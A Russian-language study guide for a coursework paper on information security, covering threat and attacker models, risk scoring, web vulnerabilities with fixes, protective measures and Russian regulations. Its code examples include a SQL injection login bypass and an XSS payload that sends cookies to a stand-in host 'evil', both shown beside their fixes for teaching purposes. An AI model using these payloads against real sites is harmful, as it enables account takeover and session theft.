Информационная безопасность: угрозы и защита
Триада конфиденциальности, целостности и доступности, классификация угроз, модель нарушителя, типовые уязвимости веб-приложений, меры защиты и нормативная база.
Курсовая по информационной безопасности почти всегда строится по одной схеме: описать объект защиты, составить модель угроз и нарушителя, предложить меры и обосновать их достаточность. Разберём каждый шаг.
Три свойства информации
| Свойство | Что означает | Пример нарушения |
|---|---|---|
| Конфиденциальность | Доступ только у тех, кому положено | Утечка базы клиентов |
| Целостность | Данные не изменены незаметно | Подмена суммы в платёжке |
| Доступность | Ресурс работает, когда нужен | DDoS-атака на сервис |
Эти три свойства конфликтуют между собой. Шифрование усиливает конфиденциальность, но при потере ключа убивает доступность. Резервные копии повышают доступность, но создают новые точки утечки. Проектирование защиты — всегда поиск баланса, и это стоит явно написать в работе.
Классификация угроз
- По природе: техногенные (отказ оборудования, сбой ПО), природные (пожар, затопление), антропогенные (действия людей).
- По источнику: внутренние (сотрудники) и внешние (злоумышленники, конкуренты).
- По умыслу: преднамеренные и случайные. Статистика инцидентов показывает, что случайные ошибки персонала дают не меньше ущерба, чем целенаправленные атаки.
- По объекту: данные, программы, оборудование, каналы связи, персонал.
Оценка риска: R = P · U P — вероятность реализации угрозы, U — ущерб Качественная шкала для курсовой: вероятность: низкая (1), средняя (2), высокая (3) ущерб: незначительный (1), умеренный (2), критический (3) R = 1-2 — риск принимается R = 3-4 — требуются меры при разумной стоимости R = 6-9 — меры обязательны Правило соразмерности: стоимость защиты не должна превышать стоимость защищаемого актива.
Модель нарушителя
| Тип | Возможности | Мотив | Типовые действия |
|---|---|---|---|
| Внешний неквалифицированный | Готовые инструменты, доступ из интернета | Любопытство, хулиганство | Сканирование портов, подбор паролей |
| Внешний квалифицированный | Собственные средства, время | Выгода, заказ | Целевые атаки, эксплуатация уязвимостей |
| Внутренний пользователь | Легальный доступ к части данных | Обида, выгода, халатность | Копирование данных, обход правил |
| Внутренний администратор | Полный доступ к системе | Выгода, шантаж | Изменение прав, удаление журналов |
| Разработчик | Доступ к исходному коду | Выгода, диверсия | Закладки, недокументированные функции |
Уязвимости веб-приложений
# SQL-инъекция: склейка запроса из пользовательского ввода
login = request.form['login']
cursor.execute(f"SELECT * FROM users WHERE login = '{login}'")
# Ввод: admin' OR '1'='1 → условие всегда истинно
# Правильно — параметризованный запрос
cursor.execute('SELECT * FROM users WHERE login = %s', (login,))
# XSS: вывод пользовательских данных без экранирования
return f'<div>Привет, {name}</div>'
# Ввод: <script>fetch('//evil/'+document.cookie)</script>
# Правильно — экранирование или шаблонизатор с автоэкранированием
from html import escape
return f'<div>Привет, {escape(name)}</div>'
# Хранение пароля
hashlib.md5(password.encode()).hexdigest() # взламывается за секунды
# Правильно — медленная функция с солью
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
bcrypt.checkpw(attempt.encode(), hashed)
| Уязвимость | Суть | Защита |
|---|---|---|
| Инъекции (SQL, командные) | Пользовательский ввод попадает в код | Параметризация, валидация, минимум прав у пользователя БД |
| Сломанная аутентификация | Слабые пароли, предсказуемые сессии | Хеширование bcrypt, ограничение попыток, двухфакторность |
| XSS | Скрипт исполняется в браузере жертвы | Экранирование вывода, Content-Security-Policy |
| Небезопасная конфигурация | Пароли по умолчанию, открытая отладка | Чек-лист развёртывания, отключение отладки |
| Отсутствие контроля доступа | Проверка прав только в интерфейсе | Проверка на сервере при каждом запросе |
| Уязвимые зависимости | Старые библиотеки с известными дырами | Обновления, сканирование зависимостей |
| Недостаточное логирование | Атаку невозможно обнаружить и разобрать | Централизованные журналы, защита от изменения |
Средства защиты
- Организационные: политика безопасности, инструктажи, регламент доступа, соглашения о конфиденциальности. Самые дешёвые и часто самые действенные.
- Технические: межсетевые экраны, антивирусы, системы обнаружения вторжений, шифрование, резервное копирование, разграничение прав.
- Физические: контроль доступа в помещения, видеонаблюдение, охрана, защита от отключения питания.
- Правовые: регистрация обработки персональных данных, договоры с подрядчиками, локальные акты.
Принципы, которые стоит указать в обоснование мер: Минимальные привилегии — каждому ровно те права, что нужны Эшелонированная защита — несколько независимых рубежей Отказ по умолчанию — что не разрешено явно, запрещено Разделение обязанностей — критичное действие требует двух людей Полный контроль доступа — проверка при каждом обращении, а не один раз Простота — сложную систему невозможно проверить на безопасность
Нормативная база
| Документ | О чём |
|---|---|
| 152-ФЗ | Персональные данные: обязанности оператора, согласие, уведомление |
| 149-ФЗ | Информация, информационные технологии и защита информации |
| 187-ФЗ | Критическая информационная инфраструктура |
| Приказ ФСТЭК № 21 | Меры защиты персональных данных по уровням защищённости |
| Приказ ФСТЭК № 17 | Защита информации в государственных системах |
| ГОСТ Р ИСО/МЭК 27001 | Система управления информационной безопасностью |
| ГОСТ Р 51583 | Порядок создания защищённых систем |
Структура раздела в курсовой
- Описание объекта защиты: какие данные, где хранятся, кто с ними работает.
- Классификация информации по конфиденциальности и определение уровня защищённости.
- Модель угроз: перечень актуальных угроз с обоснованием актуальности.
- Модель нарушителя: типы, возможности, мотивы.
- Оценка рисков в табличной форме: угроза, вероятность, ущерб, риск.
- Меры защиты по каждому значимому риску с указанием типа меры.
- Оценка остаточного риска после внедрения мер.
- Оценка стоимости мер и сопоставление с величиной предотвращаемого ущерба.
Частые вопросы
Чем модель угроз отличается от модели нарушителя?
Модель угроз описывает, что может произойти с информацией, модель нарушителя — кто это может сделать и какими средствами. Вторая нужна, чтобы оценить реалистичность угроз: атака, требующая ресурсов спецслужбы, для небольшой фирмы неактуальна.
Можно ли достичь полной безопасности?
Нет. Абсолютно защищённая система — это выключенная система в сейфе. Задача состоит в снижении рисков до приемлемого уровня при разумных затратах, и формулировать вывод работы следует именно так.
Почему MD5 нельзя использовать для паролей?
Он очень быстрый — современная видеокарта перебирает миллиарды хешей в секунду, поэтому пароль восстанавливается за минуты. bcrypt и Argon2 намеренно медленные и с солью: перебор становится экономически бессмысленным.